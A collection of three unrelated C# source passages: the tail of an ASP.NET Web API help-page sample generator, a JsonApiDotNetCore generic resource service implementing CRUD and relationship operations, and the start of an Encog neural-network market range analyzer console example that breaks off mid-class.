public virtual object GetActionSample(string controllerName, string actionName, IEnumerable<string> parameterNames, Type type, MediaTypeFormatter formatter, MediaTypeHeaderValue mediaType, SampleDirection sampleDirection)
{
object sample;
// First, try get sample provided for a specific mediaType, controllerName, actionName and parameterNames.
// If not found, try get the sample provided for a specific mediaType, controllerName and actionName regardless of the parameterNames
// If still not found, try get the sample provided for a specific type and mediaType
if (ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, parameterNames), out sample) ||
ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, new[] { "*" }), out sample) ||
ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, type), out sample))
{
return sample;
}
return null;
}
/// <summary>
/// Gets the sample object that will be serialized by the formatters.
/// First, it will look at the <see cref="SampleObjects"/>. If no sample object is found, it will try to create one using <see cref="ObjectGenerator"/>.
/// </summary>
/// <param name="type">The type.</param>
/// <returns>The sample object.</returns>
public virtual object GetSampleObject(Type type)
{
object sampleObject;
if (!SampleObjects.TryGetValue(type, out sampleObject))
{
// Try create a default sample object
ObjectGenerator objectGenerator = new ObjectGenerator();
sampleObject = objectGenerator.GenerateObject(type);
}
return sampleObject;
}
/// <summary>
/// Resolves the type of the action parameter or return value when <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/> is used.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or a response.</param>
/// <param name="formatters">The formatters.</param>
[SuppressMessage("Microsoft.Design", "CA1021:AvoidOutParameters", Justification = "This is only used in advanced scenarios.")]
public virtual Type ResolveType(ApiDescription api, string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection, out Collection<MediaTypeFormatter> formatters)
{
if (!Enum.IsDefined(typeof(SampleDirection), sampleDirection))
{
throw new InvalidEnumArgumentException("sampleDirection", (int)sampleDirection, typeof(SampleDirection));
}
if (api == null)
{
throw new ArgumentNullException("api");
}
Type type;
if (ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, parameterNames), out type) ||
ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, new[] { "*" }), out type))
{
// Re-compute the supported formatters based on type
Collection<MediaTypeFormatter> newFormatters = new Collection<MediaTypeFormatter>();
foreach (var formatter in api.ActionDescriptor.Configuration.Formatters)
{
if (IsFormatSupported(sampleDirection, formatter, type))
{
newFormatters.Add(formatter);
}
}
formatters = newFormatters;
}
else
{
switch (sampleDirection)
{
case SampleDirection.Request:
ApiParameterDescription requestBodyParameter = api.ParameterDescriptions.FirstOrDefault(p => p.Source == ApiParameterSource.FromBody);
type = requestBodyParameter == null ? null : requestBodyParameter.ParameterDescriptor.ParameterType;
formatters = api.SupportedRequestBodyFormatters;
break;
case SampleDirection.Response:
default:
type = api.ActionDescriptor.ReturnType;
formatters = api.SupportedResponseFormatters;
break;
}
}
return type;
}
/// <summary>
/// Writes the sample object using formatter.
/// </summary>
/// <param name="formatter">The formatter.</param>
/// <param name="value">The value.</param>
/// <param name="type">The type.</param>
/// <param name="mediaType">Type of the media.</param>
/// <returns></returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as InvalidSample.")]
public virtual object WriteSampleObjectUsingFormatter(MediaTypeFormatter formatter, object value, Type type, MediaTypeHeaderValue mediaType)
{
if (formatter == null)
{
throw new ArgumentNullException("formatter");
}
if (mediaType == null)
{
throw new ArgumentNullException("mediaType");
}
object sample = String.Empty;
MemoryStream ms = null;
HttpContent content = null;
try
{
if (formatter.CanWriteType(type))
{
ms = new MemoryStream();
content = new ObjectContent(type, value, formatter, mediaType);
formatter.WriteToStreamAsync(type, value, ms, content, null).Wait();
ms.Position = 0;
StreamReader reader = new StreamReader(ms);
string serializedSampleString = reader.ReadToEnd();
if (mediaType.MediaType.ToUpperInvariant().Contains("XML"))
{
serializedSampleString = TryFormatXml(serializedSampleString);
}
else if (mediaType.MediaType.ToUpperInvariant().Contains("JSON"))
{
serializedSampleString = TryFormatJson(serializedSampleString);
}
sample = new TextSample(serializedSampleString);
}
else
{
sample = new InvalidSample(String.Format(
CultureInfo.CurrentCulture,
"Failed to generate the sample for media type '{0}'. Cannot use formatter '{1}' to write type '{2}'.",
mediaType,
formatter.GetType().Name,
type.Name));
}
}
catch (Exception e)
{
sample = new InvalidSample(String.Format(
CultureInfo.CurrentCulture,
"An exception has occurred while using the formatter '{0}' to generate sample for media type '{1}'. Exception message: {2}",
formatter.GetType().Name,
mediaType.MediaType,
e.Message));
}
finally
{
if (ms != null)
{
ms.Dispose();
}
if (content != null)
{
content.Dispose();
}
}
return sample;
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")]
private static string TryFormatJson(string str)
{
try
{
object parsedJson = JsonConvert.DeserializeObject(str);
return JsonConvert.SerializeObject(parsedJson, Formatting.Indented);
}
catch
{
// can't parse JSON, return the original string
return str;
}
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")]
private static string TryFormatXml(string str)
{
try
{
XDocument xml = XDocument.Parse(str);
return xml.ToString();
}
catch
{
// can't parse XML, return the original string
return str;
}
}
private static bool IsFormatSupported(SampleDirection sampleDirection, MediaTypeFormatter formatter, Type type)
{
switch (sampleDirection)
{
case SampleDirection.Request:
return formatter.CanReadType(type);
case SampleDirection.Response:
return formatter.CanWriteType(type);
}
return false;
}
private IEnumerable<KeyValuePair<HelpPageSampleKey, object>> GetAllActionSamples(string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection)
{
HashSet<string> parameterNamesSet = new HashSet<string>(parameterNames, StringComparer.OrdinalIgnoreCase);
foreach (var sample in ActionSamples)
{
HelpPageSampleKey sampleKey = sample.Key;
if (String.Equals(controllerName, sampleKey.ControllerName, StringComparison.OrdinalIgnoreCase) &&
String.Equals(actionName, sampleKey.ActionName, StringComparison.OrdinalIgnoreCase) &&
(sampleKey.ParameterNames.SetEquals(new[] { "*" }) || parameterNamesSet.SetEquals(sampleKey.ParameterNames)) &&
sampleDirection == sampleKey.SampleDirection)
{
yield return sample;
}
}
}
private static object WrapSampleIfString(object sample)
{
string stringSample = sample as string;
if (stringSample != null)
{
return new TextSample(stringSample);
}
return sample;
}
}
}
| |
using System.Collections;
using System.Runtime.CompilerServices;
using JetBrains.Annotations;
using JsonApiDotNetCore.Configuration;
using JsonApiDotNetCore.Diagnostics;
using JsonApiDotNetCore.Errors;
using JsonApiDotNetCore.Middleware;
using JsonApiDotNetCore.Queries;
using JsonApiDotNetCore.Queries.Expressions;
using JsonApiDotNetCore.Repositories;
using JsonApiDotNetCore.Resources;
using JsonApiDotNetCore.Resources.Annotations;
using Microsoft.Extensions.Logging;
using SysNotNull = System.Diagnostics.CodeAnalysis.NotNullAttribute;
namespace JsonApiDotNetCore.Services;
/// <inheritdoc />
[PublicAPI]
public class JsonApiResourceService<TResource, TId> : IResourceService<TResource, TId>
where TResource : class, IIdentifiable<TId>
{
private readonly CollectionConverter _collectionConverter = new();
private readonly IResourceRepositoryAccessor _repositoryAccessor;
private readonly IQueryLayerComposer _queryLayerComposer;
private readonly IPaginationContext _paginationContext;
private readonly IJsonApiOptions _options;
private readonly TraceLogWriter<JsonApiResourceService<TResource, TId>> _traceWriter;
private readonly IJsonApiRequest _request;
private readonly IResourceChangeTracker<TResource> _resourceChangeTracker;
private readonly IResourceDefinitionAccessor _resourceDefinitionAccessor;
public JsonApiResourceService(IResourceRepositoryAccessor repositoryAccessor, IQueryLayerComposer queryLayerComposer, IPaginationContext paginationContext,
IJsonApiOptions options, ILoggerFactory loggerFactory, IJsonApiRequest request, IResourceChangeTracker<TResource> resourceChangeTracker,
IResourceDefinitionAccessor resourceDefinitionAccessor)
{
ArgumentGuard.NotNull(repositoryAccessor, nameof(repositoryAccessor));
ArgumentGuard.NotNull(queryLayerComposer, nameof(queryLayerComposer));
ArgumentGuard.NotNull(paginationContext, nameof(paginationContext));
ArgumentGuard.NotNull(options, nameof(options));
ArgumentGuard.NotNull(loggerFactory, nameof(loggerFactory));
ArgumentGuard.NotNull(request, nameof(request));
ArgumentGuard.NotNull(resourceChangeTracker, nameof(resourceChangeTracker));
ArgumentGuard.NotNull(resourceDefinitionAccessor, nameof(resourceDefinitionAccessor));
_repositoryAccessor = repositoryAccessor;
_queryLayerComposer = queryLayerComposer;
_paginationContext = paginationContext;
_options = options;
_request = request;
_resourceChangeTracker = resourceChangeTracker;
_resourceDefinitionAccessor = resourceDefinitionAccessor;
_traceWriter = new TraceLogWriter<JsonApiResourceService<TResource, TId>>(loggerFactory);
}
/// <inheritdoc />
public virtual async Task<IReadOnlyCollection<TResource>> GetAsync(CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart();
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Get resources");
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
if (_options.IncludeTotalResourceCount)
{
FilterExpression? topFilter = _queryLayerComposer.GetPrimaryFilterFromConstraints(_request.PrimaryResourceType);
_paginationContext.TotalResourceCount = await _repositoryAccessor.CountAsync(_request.PrimaryResourceType, topFilter, cancellationToken);
if (_paginationContext.TotalResourceCount == 0)
{
return Array.Empty<TResource>();
}
}
QueryLayer queryLayer = _queryLayerComposer.ComposeFromConstraints(_request.PrimaryResourceType);
IReadOnlyCollection<TResource> resources = await _repositoryAccessor.GetAsync<TResource>(queryLayer, cancellationToken);
if (queryLayer.Pagination?.PageSize?.Value == resources.Count)
{
_paginationContext.IsPageFull = true;
}
return resources;
}
/// <inheritdoc />
public virtual async Task<TResource> GetAsync(TId id, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
id
});
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Get single resource");
return await GetPrimaryResourceByIdAsync(id, TopFieldSelection.PreserveExisting, cancellationToken);
}
/// <inheritdoc />
public virtual async Task<object?> GetSecondaryAsync(TId id, string relationshipName, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
id,
relationshipName
});
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Get secondary resource(s)");
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
AssertHasRelationship(_request.Relationship, relationshipName);
if (_options.IncludeTotalResourceCount && _request.IsCollection)
{
await RetrieveResourceCountForNonPrimaryEndpointAsync(id, (HasManyAttribute)_request.Relationship, cancellationToken);
// We cannot return early when _paginationContext.TotalResourceCount == 0, because we don't know whether
// the parent resource exists. In case the parent does not exist, an error is produced below.
}
QueryLayer secondaryLayer = _queryLayerComposer.ComposeFromConstraints(_request.SecondaryResourceType!);
QueryLayer primaryLayer = _queryLayerComposer.WrapLayerForSecondaryEndpoint(secondaryLayer, _request.PrimaryResourceType, id, _request.Relationship);
IReadOnlyCollection<TResource> primaryResources = await _repositoryAccessor.GetAsync<TResource>(primaryLayer, cancellationToken);
TResource? primaryResource = primaryResources.SingleOrDefault();
AssertPrimaryResourceExists(primaryResource);
object? rightValue = _request.Relationship.GetValue(primaryResource);
if (rightValue is ICollection rightResources && secondaryLayer.Pagination?.PageSize?.Value == rightResources.Count)
{
_paginationContext.IsPageFull = true;
}
return rightValue;
}
/// <inheritdoc />
public virtual async Task<object?> GetRelationshipAsync(TId id, string relationshipName, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
id,
relationshipName
});
ArgumentGuard.NotNullNorEmpty(relationshipName, nameof(relationshipName));
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Get relationship");
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
AssertHasRelationship(_request.Relationship, relationshipName);
if (_options.IncludeTotalResourceCount && _request.IsCollection)
{
await RetrieveResourceCountForNonPrimaryEndpointAsync(id, (HasManyAttribute)_request.Relationship, cancellationToken);
// We cannot return early when _paginationContext.TotalResourceCount == 0, because we don't know whether
// the parent resource exists. In case the parent does not exist, an error is produced below.
}
QueryLayer secondaryLayer = _queryLayerComposer.ComposeSecondaryLayerForRelationship(_request.SecondaryResourceType!);
QueryLayer primaryLayer = _queryLayerComposer.WrapLayerForSecondaryEndpoint(secondaryLayer, _request.PrimaryResourceType, id, _request.Relationship);
IReadOnlyCollection<TResource> primaryResources = await _repositoryAccessor.GetAsync<TResource>(primaryLayer, cancellationToken);
TResource? primaryResource = primaryResources.SingleOrDefault();
AssertPrimaryResourceExists(primaryResource);
object? rightValue = _request.Relationship.GetValue(primaryResource);
if (rightValue is ICollection rightResources && secondaryLayer.Pagination?.PageSize?.Value == rightResources.Count)
{
_paginationContext.IsPageFull = true;
}
return rightValue;
}
private async Task RetrieveResourceCountForNonPrimaryEndpointAsync(TId id, HasManyAttribute relationship, CancellationToken cancellationToken)
{
FilterExpression? secondaryFilter = _queryLayerComposer.GetSecondaryFilterFromConstraints(id, relationship);
if (secondaryFilter != null)
{
_paginationContext.TotalResourceCount = await _repositoryAccessor.CountAsync(relationship.RightType, secondaryFilter, cancellationToken);
}
}
/// <inheritdoc />
public virtual async Task<TResource?> CreateAsync(TResource resource, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
resource
});
ArgumentGuard.NotNull(resource, nameof(resource));
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Create resource");
TResource resourceFromRequest = resource;
_resourceChangeTracker.SetRequestAttributeValues(resourceFromRequest);
TResource resourceForDatabase = await _repositoryAccessor.GetForCreateAsync<TResource, TId>(resource.Id, cancellationToken);
_resourceChangeTracker.SetInitiallyStoredAttributeValues(resourceForDatabase);
await InitializeResourceAsync(resourceForDatabase, cancellationToken);
try
{
await _repositoryAccessor.CreateAsync(resourceFromRequest, resourceForDatabase, cancellationToken);
}
catch (DataStoreUpdateException)
{
await AssertPrimaryResourceDoesNotExistAsync(resourceFromRequest, cancellationToken);
await AssertResourcesToAssignInRelationshipsExistAsync(resourceFromRequest, cancellationToken);
throw;
}
TResource resourceFromDatabase = await GetPrimaryResourceByIdAsync(resourceForDatabase.Id, TopFieldSelection.WithAllAttributes, cancellationToken);
_resourceChangeTracker.SetFinallyStoredAttributeValues(resourceFromDatabase);
bool hasImplicitChanges = _resourceChangeTracker.HasImplicitChanges();
return hasImplicitChanges ? resourceFromDatabase : null;
}
protected async Task AssertPrimaryResourceDoesNotExistAsync(TResource resource, CancellationToken cancellationToken)
{
if (!Equals(resource.Id, default(TId)))
{
TResource? existingResource = await GetPrimaryResourceByIdOrDefaultAsync(resource.Id, TopFieldSelection.OnlyIdAttribute, cancellationToken);
if (existingResource != null)
{
throw new ResourceAlreadyExistsException(resource.StringId!, _request.PrimaryResourceType!.PublicName);
}
}
}
protected virtual async Task InitializeResourceAsync(TResource resourceForDatabase, CancellationToken cancellationToken)
{
await _resourceDefinitionAccessor.OnPrepareWriteAsync(resourceForDatabase, WriteOperationKind.CreateResource, cancellationToken);
}
protected async Task AssertResourcesToAssignInRelationshipsExistAsync(TResource primaryResource, CancellationToken cancellationToken)
{
var missingResources = new List<MissingResourceInRelationship>();
foreach ((QueryLayer queryLayer, RelationshipAttribute relationship) in _queryLayerComposer.ComposeForGetTargetedSecondaryResourceIds(primaryResource))
{
object? rightValue = relationship.GetValue(primaryResource);
ICollection<IIdentifiable> rightResourceIds = _collectionConverter.ExtractResources(rightValue);
IAsyncEnumerable<MissingResourceInRelationship> missingResourcesInRelationship =
GetMissingRightResourcesAsync(queryLayer, relationship, rightResourceIds, cancellationToken);
await missingResources.AddRangeAsync(missingResourcesInRelationship, cancellationToken);
}
if (missingResources.Any())
{
throw new ResourcesInRelationshipsNotFoundException(missingResources);
}
}
private async IAsyncEnumerable<MissingResourceInRelationship> GetMissingRightResourcesAsync(QueryLayer existingRightResourceIdsQueryLayer,
RelationshipAttribute relationship, ICollection<IIdentifiable> rightResourceIds, [EnumeratorCancellation] CancellationToken cancellationToken)
{
IReadOnlyCollection<IIdentifiable> existingResources = await _repositoryAccessor.GetAsync(existingRightResourceIdsQueryLayer.ResourceType,
existingRightResourceIdsQueryLayer, cancellationToken);
string[] existingResourceIds = existingResources.Select(resource => resource.StringId!).ToArray();
foreach (IIdentifiable rightResourceId in rightResourceIds)
{
if (!existingResourceIds.Contains(rightResourceId.StringId))
{
yield return new MissingResourceInRelationship(relationship.PublicName, existingRightResourceIdsQueryLayer.ResourceType.PublicName,
rightResourceId.StringId!);
}
}
}
/// <inheritdoc />
public virtual async Task AddToToManyRelationshipAsync(TId leftId, string relationshipName, ISet<IIdentifiable> rightResourceIds,
CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
leftId,
rightResourceIds
});
ArgumentGuard.NotNullNorEmpty(relationshipName, nameof(relationshipName));
ArgumentGuard.NotNull(rightResourceIds, nameof(rightResourceIds));
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Add to to-many relationship");
AssertHasRelationship(_request.Relationship, relationshipName);
if (rightResourceIds.Any() && _request.Relationship is HasManyAttribute { IsManyToMany: true } manyToManyRelationship)
{
// In the case of a many-to-many relationship, creating a duplicate entry in the join table results in a
// unique constraint violation. We avoid that by excluding already-existing entries from the set in advance.
await RemoveExistingIdsFromRelationshipRightSideAsync(manyToManyRelationship, leftId, rightResourceIds, cancellationToken);
}
try
{
await _repositoryAccessor.AddToToManyRelationshipAsync<TResource, TId>(leftId, rightResourceIds, cancellationToken);
}
catch (DataStoreUpdateException)
{
await GetPrimaryResourceByIdAsync(leftId, TopFieldSelection.OnlyIdAttribute, cancellationToken);
await AssertRightResourcesExistAsync(rightResourceIds, cancellationToken);
throw;
}
}
private async Task RemoveExistingIdsFromRelationshipRightSideAsync(HasManyAttribute hasManyRelationship, TId leftId, ISet<IIdentifiable> rightResourceIds,
CancellationToken cancellationToken)
{
AssertRelationshipInJsonApiRequestIsNotNull(_request.Relationship);
TResource leftResource = await GetForHasManyUpdateAsync(hasManyRelationship, leftId, rightResourceIds, cancellationToken);
object? rightValue = _request.Relationship.GetValue(leftResource);
ICollection<IIdentifiable> existingRightResourceIds = _collectionConverter.ExtractResources(rightValue);
rightResourceIds.ExceptWith(existingRightResourceIds);
}
private async Task<TResource> GetForHasManyUpdateAsync(HasManyAttribute hasManyRelationship, TId leftId, ISet<IIdentifiable> rightResourceIds,
CancellationToken cancellationToken)
{
QueryLayer queryLayer = _queryLayerComposer.ComposeForHasMany(hasManyRelationship, leftId, rightResourceIds);
var leftResource = await _repositoryAccessor.GetForUpdateAsync<TResource>(queryLayer, cancellationToken);
AssertPrimaryResourceExists(leftResource);
return leftResource;
}
protected async Task AssertRightResourcesExistAsync(object? rightValue, CancellationToken cancellationToken)
{
AssertRelationshipInJsonApiRequestIsNotNull(_request.Relationship);
ICollection<IIdentifiable> rightResourceIds = _collectionConverter.ExtractResources(rightValue);
if (rightResourceIds.Any())
{
QueryLayer queryLayer = _queryLayerComposer.ComposeForGetRelationshipRightIds(_request.Relationship, rightResourceIds);
List<MissingResourceInRelationship> missingResources =
await GetMissingRightResourcesAsync(queryLayer, _request.Relationship, rightResourceIds, cancellationToken).ToListAsync(cancellationToken);
if (missingResources.Any())
{
throw new ResourcesInRelationshipsNotFoundException(missingResources);
}
}
}
/// <inheritdoc />
public virtual async Task<TResource?> UpdateAsync(TId id, TResource resource, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
id,
resource
});
ArgumentGuard.NotNull(resource, nameof(resource));
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Update resource");
TResource resourceFromRequest = resource;
_resourceChangeTracker.SetRequestAttributeValues(resourceFromRequest);
TResource resourceFromDatabase = await GetPrimaryResourceForUpdateAsync(id, cancellationToken);
_resourceChangeTracker.SetInitiallyStoredAttributeValues(resourceFromDatabase);
await _resourceDefinitionAccessor.OnPrepareWriteAsync(resourceFromDatabase, WriteOperationKind.UpdateResource, cancellationToken);
try
{
await _repositoryAccessor.UpdateAsync(resourceFromRequest, resourceFromDatabase, cancellationToken);
}
catch (DataStoreUpdateException)
{
await AssertResourcesToAssignInRelationshipsExistAsync(resourceFromRequest, cancellationToken);
throw;
}
TResource afterResourceFromDatabase = await GetPrimaryResourceByIdAsync(id, TopFieldSelection.WithAllAttributes, cancellationToken);
_resourceChangeTracker.SetFinallyStoredAttributeValues(afterResourceFromDatabase);
bool hasImplicitChanges = _resourceChangeTracker.HasImplicitChanges();
return hasImplicitChanges ? afterResourceFromDatabase : null;
}
/// <inheritdoc />
public virtual async Task SetRelationshipAsync(TId leftId, string relationshipName, object? rightValue, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
leftId,
relationshipName,
rightValue
});
ArgumentGuard.NotNullNorEmpty(relationshipName, nameof(relationshipName));
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Service - Set relationship");
AssertHasRelationship(_request.Relationship, relationshipName);
TResource resourceFromDatabase = await GetPrimaryResourceForUpdateAsync(leftId, cancellationToken);
await _resourceDefinitionAccessor.OnPrepareWriteAsync(resourceFromDatabase, WriteOperationKind.SetRelationship, cancellationToken);
try
{
await _repositoryAccessor.SetRelationshipAsync(resourceFromDatabase, rightValue, cancellationToken);
}
catch (DataStoreUpdateException)
{
await AssertRightResourcesExistAsync(rightValue, cancellationToken);
throw;
}
}
/// <inheritdoc />
public virtual async Task DeleteAsync(TId id, CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
id
});
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Repository - Delete resource");
try
{
await _repositoryAccessor.DeleteAsync<TResource, TId>(id, cancellationToken);
}
catch (DataStoreUpdateException)
{
await GetPrimaryResourceByIdAsync(id, TopFieldSelection.OnlyIdAttribute, cancellationToken);
throw;
}
}
/// <inheritdoc />
public virtual async Task RemoveFromToManyRelationshipAsync(TId leftId, string relationshipName, ISet<IIdentifiable> rightResourceIds,
CancellationToken cancellationToken)
{
_traceWriter.LogMethodStart(new
{
leftId,
relationshipName,
rightResourceIds
});
ArgumentGuard.NotNullNorEmpty(relationshipName, nameof(relationshipName));
ArgumentGuard.NotNull(rightResourceIds, nameof(rightResourceIds));
using IDisposable _ = CodeTimingSessionManager.Current.Measure("Repository - Remove from to-many relationship");
AssertHasRelationship(_request.Relationship, relationshipName);
var hasManyRelationship = (HasManyAttribute)_request.Relationship;
TResource resourceFromDatabase = await GetForHasManyUpdateAsync(hasManyRelationship, leftId, rightResourceIds, cancellationToken);
await AssertRightResourcesExistAsync(rightResourceIds, cancellationToken);
await _repositoryAccessor.RemoveFromToManyRelationshipAsync(resourceFromDatabase, rightResourceIds, cancellationToken);
}
protected async Task<TResource> GetPrimaryResourceByIdAsync(TId id, TopFieldSelection fieldSelection, CancellationToken cancellationToken)
{
TResource? primaryResource = await GetPrimaryResourceByIdOrDefaultAsync(id, fieldSelection, cancellationToken);
AssertPrimaryResourceExists(primaryResource);
return primaryResource;
}
private async Task<TResource?> GetPrimaryResourceByIdOrDefaultAsync(TId id, TopFieldSelection fieldSelection, CancellationToken cancellationToken)
{
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
QueryLayer primaryLayer = _queryLayerComposer.ComposeForGetById(id, _request.PrimaryResourceType, fieldSelection);
IReadOnlyCollection<TResource> primaryResources = await _repositoryAccessor.GetAsync<TResource>(primaryLayer, cancellationToken);
return primaryResources.SingleOrDefault();
}
protected async Task<TResource> GetPrimaryResourceForUpdateAsync(TId id, CancellationToken cancellationToken)
{
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
QueryLayer queryLayer = _queryLayerComposer.ComposeForUpdate(id, _request.PrimaryResourceType);
var resource = await _repositoryAccessor.GetForUpdateAsync<TResource>(queryLayer, cancellationToken);
AssertPrimaryResourceExists(resource);
return resource;
}
[AssertionMethod]
private void AssertPrimaryResourceExists([SysNotNull] TResource? resource)
{
AssertPrimaryResourceTypeInJsonApiRequestIsNotNull(_request.PrimaryResourceType);
if (resource == null)
{
throw new ResourceNotFoundException(_request.PrimaryId!, _request.PrimaryResourceType.PublicName);
}
}
[AssertionMethod]
private void AssertHasRelationship([SysNotNull] RelationshipAttribute? relationship, string name)
{
if (relationship == null)
{
throw new RelationshipNotFoundException(name, _request.PrimaryResourceType!.PublicName);
}
}
[AssertionMethod]
private void AssertPrimaryResourceTypeInJsonApiRequestIsNotNull([SysNotNull] ResourceType? resourceType)
{
if (resourceType == null)
{
throw new InvalidOperationException(
$"Expected {nameof(IJsonApiRequest)}.{nameof(IJsonApiRequest.PrimaryResourceType)} not to be null at this point.");
}
}
[AssertionMethod]
private void AssertRelationshipInJsonApiRequestIsNotNull([SysNotNull] RelationshipAttribute? relationship)
{
if (relationship == null)
{
throw new InvalidOperationException($"Expected {nameof(IJsonApiRequest)}.{nameof(IJsonApiRequest.Relationship)} not to be null at this point.");
}
}
}
| |
//
// Encog(tm) Core v3.2 - .Net Version
// http://www.heatonresearch.com/encog/
//
// Copyright 2008-2014 Heaton Research, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// For more information on Heaton Research copyrights, licenses
// and trademarks visit:
// http://www.heatonresearch.com/copyright
//
using System;
using System.IO;
using ConsoleExamples.Examples;
using Encog.Examples.RangeandMarket;
using Encog.ML.Data.Basic;
using Encog.Neural.Networks;
using Encog.Util.NetworkUtil;
namespace Encog.Examples.Analyzer
{
class MarketAnalyzer :IExample
{
public static ExampleInfo Info
{
get
{
var info = new ExampleInfo(
typeof(MarketAnalyzer),
"Range",
"Analyzes ranges and predicts them.",
"Predicts ranges with an elmhan neural network with a combo of 3 strategies."+
"\nYou can do range randomtrainer [numberofInputs] [OutputSize]")
;
return info;
}
}
#region IExample Members
private IExampleInterface app;
public void Execute(IExampleInterface app)
{
this.app = app;
FileInfo dataDir = new FileInfo(Environment.CurrentDirectory);
if (String.Compare(app.Args[0], "randomtrainer", true) == 0)
{
if (app.Args.Length > 1)
{
RandomTrainer.RandomTrainerMethod(Convert.ToInt16(app.Args[1]), Convert.ToInt16(app.Args[2]));
MakeAPause();
app.Exit();
}
else
{
Console.WriteLine(@"You didn't input enough args in your request, will default to 3000 inputs , and 50 prediction size");
Console.WriteLine(@"Error % "+ RandomTrainer.RandomTrainerMethod(3000, 50));
}
Console.ReadKey();
return;
}
if (String.Compare(app.Args[0], "eval", true) == 0)
{
if (app.Args.Length > 0)
{
//We have enough arguments, lets test them.
if (File.Exists(app.Args[1]))
{
BasicMLDataSet set = CreateEval.CreateEvaluationSetAndLoad(app.Args[1], CONFIG.EvalHowMany, CONFIG.EvalStartFrom, CONFIG.Inputs,
CONFIG.Outputs);
//create our network.
BasicNetwork network =
(BasicNetwork) NetworkUtility.LoadNetwork(CONFIG.DIRECTORY, CONFIG.NetWorkFile);
CreateEval.EvaluateNetworks(network, set);
MakeAPause();
return;
}
}
}
if (String.Compare(app.Args[0], "prune", true) == 0)
{
//Start pruning.
Console.WriteLine("Starting the pruning process....");
Prunes.Incremental(new FileInfo(CONFIG.DIRECTORY), CONFIG.NetWorkFile,
CONFIG.TrainingFile);
MakeAPause();
app.Exit();
}
if (String.Compare(app.Args[0], "train", true) == 0)
{
if (app.Args.Length> 0)
{
//We have enough arguments, lets test them.
if (File.Exists(app.Args[1]))
{
//the file exits lets build the training.
//create our basic ml dataset.
BasicMLDataSet set = CreateEval.CreateEvaluationSetAndLoad(app.Args[1], CONFIG.HowMany, CONFIG.StartFrom, CONFIG.Inputs,
CONFIG.Outputs);
//create our network.
BasicNetwork network = (BasicNetwork) CreateEval.CreateElmanNetwork(CONFIG.Inputs, CONFIG.Outputs);
//Train it..
double LastError = CreateEval.TrainNetworks(network, set);
Console.WriteLine("NetWork Trained to :" + LastError);
NetworkUtility.SaveTraining(CONFIG.DIRECTORY, CONFIG.TrainingFile, set);
NetworkUtility.SaveNetwork(CONFIG.DIRECTORY, CONFIG.NetWorkFile, network);
Console.WriteLine("Network Saved to :" + CONFIG.DIRECTORY + " File Named :" +
CONFIG.NetWorkFile);
Console.WriteLine("Training Saved to :" + CONFIG.DIRECTORY + " File Named :" +
CONFIG.TrainingFile);
MakeAPause();
app.Exit();
return;
}
else
{
Console.WriteLine("Couldnt find the file :" + app.Args[2].ToString());
Console.WriteLine("Exiting");
MakeAPause();
app.Exit();
return;
}
}
}
else
{
Console.WriteLine("Couldnt understand your command..");
Console.WriteLine(
"Valid commands are : RandomTrainer or Randomtrainer [inputs] [output] , or Train [File]");
Console.WriteLine(
"Valid commands are : Range Prune, to prune your network.");
Console.WriteLine(
"Valid commands are : Range eval , to evaluate your network.");
MakeAPause();
app.Exit();
}
}
private static void MakeAPause()
{
Console.WriteLine("Press a key to continue ..");
Console.ReadKey();
}
#endregion
public static class CONFIG
{
public const string DIRECTORY = @"C:\EncogOutput\";
public static string DataFileDirectory = @"C:\Datas\";
public static string NetWorkFile = "NetworkfileMarketAnalyzer.eg";
public static string TrainingFile = "TrainingFileMarketAnalyzer.ega";
public const int HowMany = 1200;
